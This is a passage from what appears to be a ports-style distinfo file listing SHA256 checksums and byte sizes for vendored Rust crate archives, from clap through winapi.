71655c45cb9845d3270c9d6df84ebe72b4dad3c2ba3f7023ad47c144e4e473a5 +SIZE (rust/crates/clap-3.2.23.crate) = 219435 +SHA256 (rust/crates/clap_lex-0.2.4.crate) = 2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5 +SIZE (rust/crates/clap_lex-0.2.4.crate) = 9652 +SHA256 (rust/crates/codespan-reporting-0.11.1.crate) = 3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e +SIZE (rust/crates/codespan-reporting-0.11.1.crate) = 48963 +SHA256 (rust/crates/console-0.15.5.crate) = c3d79fbe8970a77e3e34151cc13d3b3e248aa0faaecb9f6091fa07ebefe5ad60 +SIZE (rust/crates/console-0.15.5.crate) = 34788 +SHA256 (rust/crates/core-foundation-sys-0.8.3.crate) = 5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc +SIZE (rust/crates/core-foundation-sys-0.8.3.crate) = 17519 +SHA256 (rust/crates/crc32fast-1.3.2.crate) = b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d +SIZE (rust/crates/crc32fast-1.3.2.crate) = 38661 +SHA256 (rust/crates/criterion-0.3.6.crate) = b01d6de93b2b6c65e17c634a26653a29d107b3c98c607c765bf38d041531cd8f +SIZE (rust/crates/criterion-0.3.6.crate) = 110967 +SHA256 (rust/crates/criterion-plot-0.4.5.crate) = 2673cc8207403546f45f5fd319a974b1e6983ad1a3ee7e6041650013be041876 +SIZE (rust/crates/criterion-plot-0.4.5.crate) = 22721 +SHA256 (rust/crates/crossbeam-channel-0.5.6.crate) = c2dd04ddaf88237dc3b8d8f9a3c1004b506b54b3313403944054d23c0870c521 +SIZE (rust/crates/crossbeam-channel-0.5.6.crate) = 90292 +SHA256 (rust/crates/crossbeam-deque-0.8.2.crate) = 715e8152b692bba2d374b53d4875445368fdf21a94751410af607a5ac677d1fc +SIZE (rust/crates/crossbeam-deque-0.8.2.crate) = 21237 +SHA256 (rust/crates/crossbeam-epoch-0.9.13.crate) = 01a9af1f4c2ef74bb8aa1f7e19706bc72d03598c8a570bb5de72243c7a9d9d5a +SIZE (rust/crates/crossbeam-epoch-0.9.13.crate) = 48313 +SHA256 (rust/crates/crossbeam-utils-0.8.14.crate) = 4fb766fa798726286dbbb842f174001dab8abc7b627a1dd86e0b7222a95d929f +SIZE (rust/crates/crossbeam-utils-0.8.14.crate) = 42127 +SHA256 (rust/crates/csv-1.2.0.crate) = af91f40b7355f82b0a891f50e70399475945bb0b0da4f1700ce60761c9d3e359 +SIZE (rust/crates/csv-1.2.0.crate) = 887859 +SHA256 (rust/crates/csv-core-0.1.10.crate) = 2b2466559f260f48ad25fe6317b3c8dac77b5bdb5763ac7d9d6103530663bc90 +SIZE (rust/crates/csv-core-0.1.10.crate) = 25668 +SHA256 (rust/crates/ctor-0.1.26.crate) = 6d2301688392eb071b0bf1a37be05c469d3cc4dbbd95df672fe28ab021e6a096 +SIZE (rust/crates/ctor-0.1.26.crate) = 10803 +SHA256 (rust/crates/cxx-1.0.91.crate) = 86d3488e7665a7a483b57e25bdd90d0aeb2bc7608c8d0346acf2ad3f1caf1d62 +SIZE (rust/crates/cxx-1.0.91.crate) = 195757 +SHA256 (rust/crates/cxx-build-1.0.91.crate) = 48fcaf066a053a41a81dfb14d57d99738b767febb8b735c3016e469fac5da690 +SIZE (rust/crates/cxx-build-1.0.91.crate) = 84433 +SHA256 (rust/crates/cxxbridge-flags-1.0.91.crate) = a2ef98b8b717a829ca5603af80e1f9e2e48013ab227b68ef37872ef84ee479bf +SIZE (rust/crates/cxxbridge-flags-1.0.91.crate) = 5250 +SHA256 (rust/crates/cxxbridge-macro-1.0.91.crate) = 086c685979a698443656e5cf7856c95c642295a38599f12fb1ff76fb28d19892 +SIZE (rust/crates/cxxbridge-macro-1.0.91.crate) = 59525 +SHA256 (rust/crates/dialoguer-0.10.3.crate) = af3c796f3b0b408d9fd581611b47fa850821fcb84aa640b83a3c1a5be2d691f2 +SIZE (rust/crates/dialoguer-0.10.3.crate) = 28627 +SHA256 (rust/crates/diff-0.1.13.crate) = 56254986775e3233ffa9c4d7d3faaf6d36a2c09d30b20687e9f88bc8bafc16c8 +SIZE (rust/crates/diff-0.1.13.crate) = 46216 +SHA256 (rust/crates/difflib-0.4.0.crate) = 6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8 +SIZE (rust/crates/difflib-0.4.0.crate) = 7638 +SHA256 (rust/crates/doc-comment-0.3.3.crate) = fea41bba32d969b513997752735605054bc0dfa92b4c56bf1189f2e174be7a10 +SIZE (rust/crates/doc-comment-0.3.3.crate) = 4123 +SHA256 (rust/crates/either-1.8.1.crate) = 7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91 +SIZE (rust/crates/either-1.8.1.crate) = 16027 +SHA256 (rust/crates/encode_unicode-0.3.6.crate) = a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f +SIZE (rust/crates/encode_unicode-0.3.6.crate) = 45741 +SHA256 (rust/crates/encoding-0.2.33.crate) = 6b0d943856b990d12d3b55b359144ff341533e516d94098b1d3fc1ac666d36ec +SIZE (rust/crates/encoding-0.2.33.crate) = 88798 +SHA256 (rust/crates/encoding-index-japanese-1.20141219.5.crate) = 04e8b2ff42e9a05335dbf8b5c6f7567e5591d0d916ccef4e0b1710d32a0d0c91 +SIZE (rust/crates/encoding-index-japanese-1.20141219.5.crate) = 91495 +SHA256 (rust/crates/encoding-index-korean-1.20141219.5.crate) = 4dc33fb8e6bcba213fe2f14275f0963fd16f0a02c878e3095ecfdf5bee529d81 +SIZE (rust/crates/encoding-index-korean-1.20141219.5.crate) = 103230 +SHA256 (rust/crates/encoding-index-simpchinese-1.20141219.5.crate) = d87a7194909b9118fc707194baa434a4e3b0fb6a5a757c73c3adb07aa25031f7 +SIZE (rust/crates/encoding-index-simpchinese-1.20141219.5.crate) = 130962 +SHA256 (rust/crates/encoding-index-singlebyte-1.20141219.5.crate) = 3351d5acffb224af9ca265f435b859c7c01537c0849754d3db3fdf2bfe2ae84a +SIZE (rust/crates/encoding-index-singlebyte-1.20141219.5.crate) = 14950 +SHA256 (rust/crates/encoding-index-tradchinese-1.20141219.5.crate) = fd0e20d5688ce3cab59eb3ef3a2083a5c77bf496cb798dc6fcdb75f323890c18 +SIZE (rust/crates/encoding-index-tradchinese-1.20141219.5.crate) = 120862 +SHA256 (rust/crates/encoding_index_tests-0.1.4.crate) = a246d82be1c9d791c5dfde9a2bd045fc3cbba3fa2b11ad558f27d01712f00569 +SIZE (rust/crates/encoding_index_tests-0.1.4.crate) = 1631 +SHA256 (rust/crates/env_logger-0.7.1.crate) = 44533bbbb3bb3c1fa17d9f2e4e38bbbaf8396ba82193c4cb1b6445d711445d36 +SIZE (rust/crates/env_logger-0.7.1.crate) = 32281 +SHA256 (rust/crates/env_logger-0.9.3.crate) = a12e6657c4c97ebab115a42dcee77225f7f482cdd841cf7088c657a42e9e00e7 +SIZE (rust/crates/env_logger-0.9.3.crate) = 33291 +SHA256 (rust/crates/error-chain-0.12.4.crate) = 2d2f06b9cac1506ece98fe3231e3cc9c4410ec3d5b1f24ae1c8946f0742cdefc +SIZE (rust/crates/error-chain-0.12.4.crate) = 29274 +SHA256 (rust/crates/fastrand-1.9.0.crate) = e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be +SIZE (rust/crates/fastrand-1.9.0.crate) = 11910 +SHA256 (rust/crates/float-cmp-0.9.0.crate) = 98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4 +SIZE (rust/crates/float-cmp-0.9.0.crate) = 10102 +SHA256 (rust/crates/gimli-0.27.2.crate) = ad0a93d233ebf96623465aad4046a8d3aa4da22d4f4beba5388838c8a434bbb4 +SIZE (rust/crates/gimli-0.27.2.crate) = 721636 +SHA256 (rust/crates/glob-0.3.1.crate) = d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b +SIZE (rust/crates/glob-0.3.1.crate) = 18880 +SHA256 (rust/crates/half-1.8.2.crate) = eabb4a44450da02c90444cf74558da904edde8fb4e9035a9a6a4e15445af0bd7 +SIZE (rust/crates/half-1.8.2.crate) = 41874 +SHA256 (rust/crates/hashbrown-0.12.3.crate) = 8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888 +SIZE (rust/crates/hashbrown-0.12.3.crate) = 102968 +SHA256 (rust/crates/hermit-abi-0.1.19.crate) = 62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33 +SIZE (rust/crates/hermit-abi-0.1.19.crate) = 9979 +SHA256 (rust/crates/hermit-abi-0.2.6.crate) = ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7 +SIZE (rust/crates/hermit-abi-0.2.6.crate) = 13027 +SHA256 (rust/crates/humantime-1.3.0.crate) = df004cfca50ef23c36850aaaa59ad52cc70d0e90243c3c7737a4dd32dc7a3c4f +SIZE (rust/crates/humantime-1.3.0.crate) = 17020 +SHA256 (rust/crates/humantime-2.1.0.crate) = 9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4 +SIZE (rust/crates/humantime-2.1.0.crate) = 16749 +SHA256 (rust/crates/iana-time-zone-0.1.53.crate) = 64c122667b287044802d6ce17ee2ddf13207ed924c712de9a66a5814d5b64765 +SIZE (rust/crates/iana-time-zone-0.1.53.crate) = 20176 +SHA256 (rust/crates/iana-time-zone-haiku-0.1.1.crate) = 0703ae284fc167426161c2e3f1da3ea71d94b21bedbcc9494e92b28e334e3dca +SIZE (rust/crates/iana-time-zone-haiku-0.1.1.crate) = 7200 +SHA256 (rust/crates/indexmap-1.9.2.crate) = 1885e79c1fc4b10f0e172c475f458b7f7b93061064d98c3293e98c5ba0c8b399 +SIZE (rust/crates/indexmap-1.9.2.crate) = 54627 +SHA256 (rust/crates/indoc-1.0.9.crate) = bfa799dd5ed20a7e349f3b4639aa80d74549c81716d9ec4f994c9b5815598306 +SIZE (rust/crates/indoc-1.0.9.crate) = 13475 +SHA256 (rust/crates/insta-1.28.0.crate) = fea5b3894afe466b4bcf0388630fc15e11938a6074af0cd637c825ba2ec8a099 +SIZE (rust/crates/insta-1.28.0.crate) = 543398 +SHA256 (rust/crates/instant-0.1.12.crate) = 7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c +SIZE (rust/crates/instant-0.1.12.crate) = 6128 +SHA256 (rust/crates/itertools-0.10.5.crate) = b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473 +SIZE (rust/crates/itertools-0.10.5.crate) = 115354 +SHA256 (rust/crates/itoa-1.0.5.crate) = fad582f4b9e86b6caa621cabeb0963332d92eea04729ab12892c2533951e6440 +SIZE (rust/crates/itoa-1.0.5.crate) = 10622 +SHA256 (rust/crates/jemalloc-sys-0.5.3+5.3.0-patched.crate) = f9bd5d616ea7ed58b571b2e209a65759664d7fb021a0819d7a790afc67e47ca1 +SIZE (rust/crates/jemalloc-sys-0.5.3+5.3.0-patched.crate) = 883950 +SHA256 (rust/crates/jemallocator-0.5.0.crate) = 16c2514137880c52b0b4822b563fadd38257c1f380858addb74a400889696ea6 +SIZE (rust/crates/jemallocator-0.5.0.crate) = 9390 +SHA256 (rust/crates/js-sys-0.3.61.crate) = 445dde2150c55e483f3d8416706b97ec8e8237c307e5b7b4b8dd15e6af2a0730 +SIZE (rust/crates/js-sys-0.3.61.crate) = 80158 +SHA256 (rust/crates/lazy_static-1.4.0.crate) = e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646 +SIZE (rust/crates/lazy_static-1.4.0.crate) = 10443 +SHA256 (rust/crates/libc-0.2.139.crate) = 201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79 +SIZE (rust/crates/libc-0.2.139.crate) = 638983 +SHA256 (rust/crates/link-cplusplus-1.0.8.crate) = ecd207c9c713c34f95a097a5b029ac2ce6010530c7b49d7fea24d977dede04f5 +SIZE (rust/crates/link-cplusplus-1.0.8.crate) = 7674 +SHA256 (rust/crates/linked-hash-map-0.5.6.crate) = 0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f +SIZE (rust/crates/linked-hash-map-0.5.6.crate) = 15049 +SHA256 (rust/crates/log-0.4.17.crate) = abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e +SIZE (rust/crates/log-0.4.17.crate) = 38028 +SHA256 (rust/crates/memchr-2.5.0.crate) = 2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d +SIZE (rust/crates/memchr-2.5.0.crate) = 65812 +SHA256 (rust/crates/memoffset-0.7.1.crate) = 5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4 +SIZE (rust/crates/memoffset-0.7.1.crate) = 8556 +SHA256 (rust/crates/miniz_oxide-0.6.2.crate) = b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa +SIZE (rust/crates/miniz_oxide-0.6.2.crate) = 54536 +SHA256 (rust/crates/nix-0.14.1.crate) = 6c722bee1037d430d0f8e687bbdbf222f27cc6e4e68d5caf630857bb2b6dbdce +SIZE (rust/crates/nix-0.14.1.crate) = 185227 +SHA256 (rust/crates/normalize-line-endings-0.3.0.crate) = 61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be +SIZE (rust/crates/normalize-line-endings-0.3.0.crate) = 5737 +SHA256 (rust/crates/num-derive-0.3.3.crate) = 876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d +SIZE (rust/crates/num-derive-0.3.3.crate) = 14545 +SHA256 (rust/crates/num-integer-0.1.45.crate) = 225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9 +SIZE (rust/crates/num-integer-0.1.45.crate) = 22529 +SHA256 (rust/crates/num-traits-0.2.15.crate) = 578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd +SIZE (rust/crates/num-traits-0.2.15.crate) = 49262 +SHA256 (rust/crates/num_cpus-1.15.0.crate) = 0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b +SIZE (rust/crates/num_cpus-1.15.0.crate) = 15680 +SHA256 (rust/crates/num_threads-0.1.6.crate) = 2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44 +SIZE (rust/crates/num_threads-0.1.6.crate) = 7334 +SHA256 (rust/crates/object-0.30.3.crate) = ea86265d3d3dcb6a27fc51bd29a4bf387fae9d2986b823079d4986af253eb439 +SIZE (rust/crates/object-0.30.3.crate) = 258901 +SHA256 (rust/crates/once_cell-1.17.1.crate) = b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3 +SIZE (rust/crates/once_cell-1.17.1.crate) = 32856 +SHA256 (rust/crates/oorandom-11.1.3.crate) = 0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575 +SIZE (rust/crates/oorandom-11.1.3.crate) = 10068 +SHA256 (rust/crates/os_str_bytes-6.4.1.crate) = 9b7820b9daea5457c9f21c69448905d723fbd21136ccf521748f23fd49e723ee +SIZE (rust/crates/os_str_bytes-6.4.1.crate) = 23101 +SHA256 (rust/crates/output_vt100-0.1.3.crate) = 628223faebab4e3e40667ee0b2336d34a5b960ff60ea743ddfdbcf7770bcfb66 +SIZE (rust/crates/output_vt100-0.1.3.crate) = 4473 +SHA256 (rust/crates/pkg-config-0.3.26.crate) = 6ac9a59f73473f1b8d852421e59e64809f025994837ef743615c6d0c5b305160 +SIZE (rust/crates/pkg-config-0.3.26.crate) = 18662 +SHA256 (rust/crates/plotters-0.3.4.crate) = 2538b639e642295546c50fcd545198c9d64ee2a38620a628724a3b266d5fbf97 +SIZE (rust/crates/plotters-0.3.4.crate) = 143219 +SHA256 (rust/crates/plotters-backend-0.3.4.crate) = 193228616381fecdc1224c62e96946dfbc73ff4384fba576e052ff8c1bea8142 +SIZE (rust/crates/plotters-backend-0.3.4.crate) = 13416 +SHA256 (rust/crates/plotters-svg-0.3.3.crate) = f9a81d2759aae1dae668f783c308bc5c8ebd191ff4184aaa1b37f65a6ae5a56f +SIZE (rust/crates/plotters-svg-0.3.3.crate) = 6916 +SHA256 (rust/crates/predicates-2.1.5.crate) = 59230a63c37f3e18569bdb90e4a89cbf5bf8b06fea0b84e65ea10cc4df47addd +SIZE (rust/crates/predicates-2.1.5.crate) = 24165 +SHA256 (rust/crates/predicates-core-1.0.5.crate) = 72f883590242d3c6fc5bf50299011695fa6590c2c70eac95ee1bdb9a733ad1a2 +SIZE (rust/crates/predicates-core-1.0.5.crate) = 7773 +SHA256 (rust/crates/predicates-tree-1.0.7.crate) = 54ff541861505aabf6ea722d2131ee980b8276e10a1297b94e896dd8b621850d +SIZE (rust/crates/predicates-tree-1.0.7.crate) = 8145 +SHA256 (rust/crates/pretty_assertions-1.3.0.crate) = a25e9bcb20aa780fd0bb16b72403a9064d6b3f22f026946029acb941a50af755 +SIZE (rust/crates/pretty_assertions-1.3.0.crate) = 79441 +SHA256 (rust/crates/proc-macro2-1.0.51.crate) = 5d727cae5b39d21da60fa540906919ad737832fe0b1c165da3a34d6548c849d6 +SIZE (rust/crates/proc-macro2-1.0.51.crate) = 41804 +SHA256 (rust/crates/pulldown-cmark-0.9.2.crate) = 2d9cc634bc78768157b5cbfe988ffcd1dcba95cd2b2f03a88316c08c6d00ed63 +SIZE (rust/crates/pulldown-cmark-0.9.2.crate) = 115824 +SHA256 (rust/crates/quick-error-1.2.3.crate) = a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0 +SIZE (rust/crates/quick-error-1.2.3.crate) = 15066 +SHA256 (rust/crates/quick-xml-0.24.1.crate) = 37dddbbe9df96afafcb8027fcf263971b726530e12f0787f620a7ba5b4846081 +SIZE (rust/crates/quick-xml-0.24.1.crate) = 1293789 +SHA256 (rust/crates/quote-1.0.23.crate) = 8856d8364d252a14d474036ea1358d63c9e6965c8e5c1885c18f73d70bff9c7b +SIZE (rust/crates/quote-1.0.23.crate) = 28058 +SHA256 (rust/crates/rayon-1.6.1.crate) = 6db3a213adf02b3bcfd2d3846bb41cb22857d131789e01df434fb7e7bc0759b7 +SIZE (rust/crates/rayon-1.6.1.crate) = 166330 +SHA256 (rust/crates/rayon-core-1.10.2.crate) = 356a0625f1954f730c0201cdab48611198dc6ce21f4acff55089b5a78e6e835b +SIZE (rust/crates/rayon-core-1.10.2.crate) = 70599 +SHA256 (rust/crates/redox_syscall-0.2.16.crate) = fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a +SIZE (rust/crates/redox_syscall-0.2.16.crate) = 24012 +SHA256 (rust/crates/regex-1.7.1.crate) = 48aaa5748ba571fb95cd2c85c09f629215d3a6ece942baa100950af03a34f733 +SIZE (rust/crates/regex-1.7.1.crate) = 239648 +SHA256 (rust/crates/regex-automata-0.1.10.crate) = 6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132 +SIZE (rust/crates/regex-automata-0.1.10.crate) = 114533 +SHA256 (rust/crates/regex-syntax-0.6.28.crate) = 456c603be3e8d448b072f410900c09faf164fbce2d480456f50eea6e25f9c848 +SIZE (rust/crates/regex-syntax-0.6.28.crate) = 299288 +SHA256 (rust/crates/remove_dir_all-0.5.3.crate) = 3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7 +SIZE (rust/crates/remove_dir_all-0.5.3.crate) = 9184 +SHA256 (rust/crates/rexpect-0.4.0.crate) = 862c0149d91461fab225ddd06a5af919913f5c57405ed4f27d2466d6cc877186 +SIZE (rust/crates/rexpect-0.4.0.crate) = 21553 +SHA256 (rust/crates/rpmalloc-0.2.2.crate) = 86179c13cdc0bcedbb60e63c1aebe3bac82162ddfa746320de6dcea31ebe2b06 +SIZE (rust/crates/rpmalloc-0.2.2.crate) = 13561 +SHA256 (rust/crates/rpmalloc-sys-0.2.3+b097fd0.crate) = 8d4b7d5e225a53887ee57fcec492eaf114b8e290f7072d035adc6ddd6810b67b +SIZE (rust/crates/rpmalloc-sys-0.2.3+b097fd0.crate) = 91990 +SHA256 (rust/crates/rustc-demangle-0.1.21.crate) = 7ef03e0a2b150c7a90d01faf6254c9c48a41e95fb2a8c2ac1c6f0d2b9aefc342 +SIZE (rust/crates/rustc-demangle-0.1.21.crate) = 27920 +SHA256 (rust/crates/ryu-1.0.12.crate) = 7b4b9743ed687d4b4bcedf9ff5eaa7398495ae14e61cba0a295704edbc7decde +SIZE (rust/crates/ryu-1.0.12.crate) = 47070 +SHA256 (rust/crates/same-file-1.0.6.crate) = 93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502 +SIZE (rust/crates/same-file-1.0.6.crate) = 10183 +SHA256 (rust/crates/scopeguard-1.1.0.crate) = d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd +SIZE (rust/crates/scopeguard-1.1.0.crate) = 11470 +SHA256 (rust/crates/scratch-1.0.3.crate) = ddccb15bcce173023b3fedd9436f882a0739b8dfb45e4f6b6002bee5929f61b2 +SIZE (rust/crates/scratch-1.0.3.crate) = 8198 +SHA256 (rust/crates/semver-1.0.16.crate) = 58bc9567378fc7690d6b2addae4e60ac2eeea07becb2c64b9f218b53865cba2a +SIZE (rust/crates/semver-1.0.16.crate) = 29850 +SHA256 (rust/crates/serde-1.0.152.crate) = bb7d1f0d3021d347a83e556fc4683dea2ea09d87bccdf88ff5c12545d89d5efb +SIZE (rust/crates/serde-1.0.152.crate) = 77091 +SHA256 (rust/crates/serde_cbor-0.11.2.crate) = 2bef2ebfde456fb76bbcf9f59315333decc4fda0b2b44b420243c11e0f5ec1f5 +SIZE (rust/crates/serde_cbor-0.11.2.crate) = 44570 +SHA256 (rust/crates/serde_derive-1.0.152.crate) = af487d118eecd09402d70a5d72551860e788df87b464af30e5ea6a38c75c541e +SIZE (rust/crates/serde_derive-1.0.152.crate) = 55586 +SHA256 (rust/crates/serde_json-1.0.93.crate) = cad406b69c91885b5107daf2c29572f6c8cdb3c66826821e286c533490c0bc76 +SIZE (rust/crates/serde_json-1.0.93.crate) = 144383 +SHA256 (rust/crates/shell-words-1.1.0.crate) = 24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde +SIZE (rust/crates/shell-words-1.1.0.crate) = 9871 +SHA256 (rust/crates/similar-2.2.1.crate) = 420acb44afdae038210c99e69aae24109f32f15500aa708e81d46c9f29d55fcf +SIZE (rust/crates/similar-2.2.1.crate) = 51147 +SHA256 (rust/crates/simplelog-0.12.0.crate) = 48dfff04aade74dd495b007c831cd6f4e0cee19c344dd9dc0884c0289b70a786 +SIZE (rust/crates/simplelog-0.12.0.crate) = 20935 +SHA256 (rust/crates/skeptic-0.13.7.crate) = 16d23b015676c90a0f01c197bfdc786c20342c73a0afdda9025adb0bc42940a8 +SIZE (rust/crates/skeptic-0.13.7.crate) = 13108 +SHA256 (rust/crates/strsim-0.10.0.crate) = 73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623 +SIZE (rust/crates/strsim-0.10.0.crate) = 11355 +SHA256 (rust/crates/syn-1.0.107.crate) = 1f4064b5b16e03ae50984a5a8ed5d4f8803e6bc1fd170a3cda91a1be4b18e3f5 +SIZE (rust/crates/syn-1.0.107.crate) = 237539 +SHA256 (rust/crates/tempfile-3.3.0.crate) = 5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4 +SIZE (rust/crates/tempfile-3.3.0.crate) = 27578 +SHA256 (rust/crates/termcolor-1.1.3.crate) = bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755 +SIZE (rust/crates/termcolor-1.1.3.crate) = 17242 +SHA256 (rust/crates/termtree-0.4.0.crate) = 95059e91184749cb66be6dc994f67f182b6d897cb3df74a5bf66b5e709295fd8 +SIZE (rust/crates/termtree-0.4.0.crate) = 4449 +SHA256 (rust/crates/textwrap-0.11.0.crate) = d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060 +SIZE (rust/crates/textwrap-0.11.0.crate) = 17322 +SHA256 (rust/crates/textwrap-0.16.0.crate) = 222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d +SIZE (rust/crates/textwrap-0.16.0.crate) = 53722 +SHA256 (rust/crates/thiserror-1.0.38.crate) = 6a9cd18aa97d5c45c6603caea1da6628790b37f7a34b6ca89522331c5180fed0 +SIZE (rust/crates/thiserror-1.0.38.crate) = 18947 +SHA256 (rust/crates/thiserror-impl-1.0.38.crate) = 1fb327af4685e4d03fa8cbcf1716380da910eeb2bb8be417e7f9fd3fb164f36f +SIZE (rust/crates/thiserror-impl-1.0.38.crate) = 15429 +SHA256 (rust/crates/time-0.1.45.crate) = 1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a +SIZE (rust/crates/time-0.1.45.crate) = 28911 +SHA256 (rust/crates/time-0.3.19.crate) = 53250a3b3fed8ff8fd988587d8925d26a83ac3845d9e03b220b37f34c2b8d6c2 +SIZE (rust/crates/time-0.3.19.crate) = 108789 +SHA256 (rust/crates/time-core-0.1.0.crate) = 2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd +SIZE (rust/crates/time-core-0.1.0.crate) = 6597 +SHA256 (rust/crates/time-macros-0.2.7.crate) = a460aeb8de6dcb0f381e1ee05f1cd56fcf5a5f6eb8187ff3d8f0b11078d38b7c +SIZE (rust/crates/time-macros-0.2.7.crate) = 23695 +SHA256 (rust/crates/tinytemplate-1.2.1.crate) = be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc +SIZE (rust/crates/tinytemplate-1.2.1.crate) = 26490 +SHA256 (rust/crates/unicase-2.6.0.crate) = 50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6 +SIZE (rust/crates/unicase-2.6.0.crate) = 23478 +SHA256 (rust/crates/unicode-ident-1.0.6.crate) = 84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc +SIZE (rust/crates/unicode-ident-1.0.6.crate) = 42158 +SHA256 (rust/crates/unicode-width-0.1.10.crate) = c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b +SIZE (rust/crates/unicode-width-0.1.10.crate) = 18968 +SHA256 (rust/crates/version_check-0.9.4.crate) = 49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f +SIZE (rust/crates/version_check-0.9.4.crate) = 14895 +SHA256 (rust/crates/void-1.0.2.crate) = 6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d +SIZE (rust/crates/void-1.0.2.crate) = 2356 +SHA256 (rust/crates/wait-timeout-0.2.0.crate) = 9f200f5b12eb75f8c1ed65abd4b2db8a6e1b138a20de009dacee265a2498f3f6 +SIZE (rust/crates/wait-timeout-0.2.0.crate) = 12441 +SHA256 (rust/crates/walkdir-2.3.2.crate) = 808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56 +SIZE (rust/crates/walkdir-2.3.2.crate) = 23516 +SHA256 (rust/crates/wasi-0.10.0+wasi-snapshot-preview1.crate) = 1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f +SIZE (rust/crates/wasi-0.10.0+wasi-snapshot-preview1.crate) = 26964 +SHA256 (rust/crates/wasm-bindgen-0.2.84.crate) = 31f8dcbc21f30d9b8f2ea926ecb58f6b91192c17e9d33594b3df58b2007ca53b +SIZE (rust/crates/wasm-bindgen-0.2.84.crate) = 172947 +SHA256 (rust/crates/wasm-bindgen-backend-0.2.84.crate) = 95ce90fd5bcc06af55a641a86428ee4229e44e07033963a2290a8e241607ccb9 +SIZE (rust/crates/wasm-bindgen-backend-0.2.84.crate) = 26344 +SHA256 (rust/crates/wasm-bindgen-macro-0.2.84.crate) = 4c21f77c0bedc37fd5dc21f897894a5ca01e7bb159884559461862ae90c0b4c5 +SIZE (rust/crates/wasm-bindgen-macro-0.2.84.crate) = 12857 +SHA256 (rust/crates/wasm-bindgen-macro-support-0.2.84.crate) = 2aff81306fcac3c7515ad4e177f521b5c9a15f2b08f4e32d823066102f35a5f6 +SIZE (rust/crates/wasm-bindgen-macro-support-0.2.84.crate) = 19076 +SHA256 (rust/crates/wasm-bindgen-shared-0.2.84.crate) = 0046fef7e28c3804e5e38bfa31ea2a0f73905319b677e57ebe37e49358989b5d +SIZE (rust/crates/wasm-bindgen-shared-0.2.84.crate) = 7219 +SHA256 (rust/crates/web-sys-0.3.61.crate) = e33b99f4b23ba3eec1a53ac264e35a755f00e966e0065077d6027c0f575b0b97 +SIZE (rust/crates/web-sys-0.3.61.crate) = 706333 +SHA256 (rust/crates/winapi-0.3.9.crate) = 5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419 +SIZE (rust/crates/winapi-0.3.9.crate) = 1200382 +SHA256 (rust/crates/winapi-i686-pc-windows-gnu-0.4.0.crate) = ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6 +SIZE (rust/crates/winapi-i686-pc-windows-gnu-0.4.0.crate) = 2918815 +SHA256 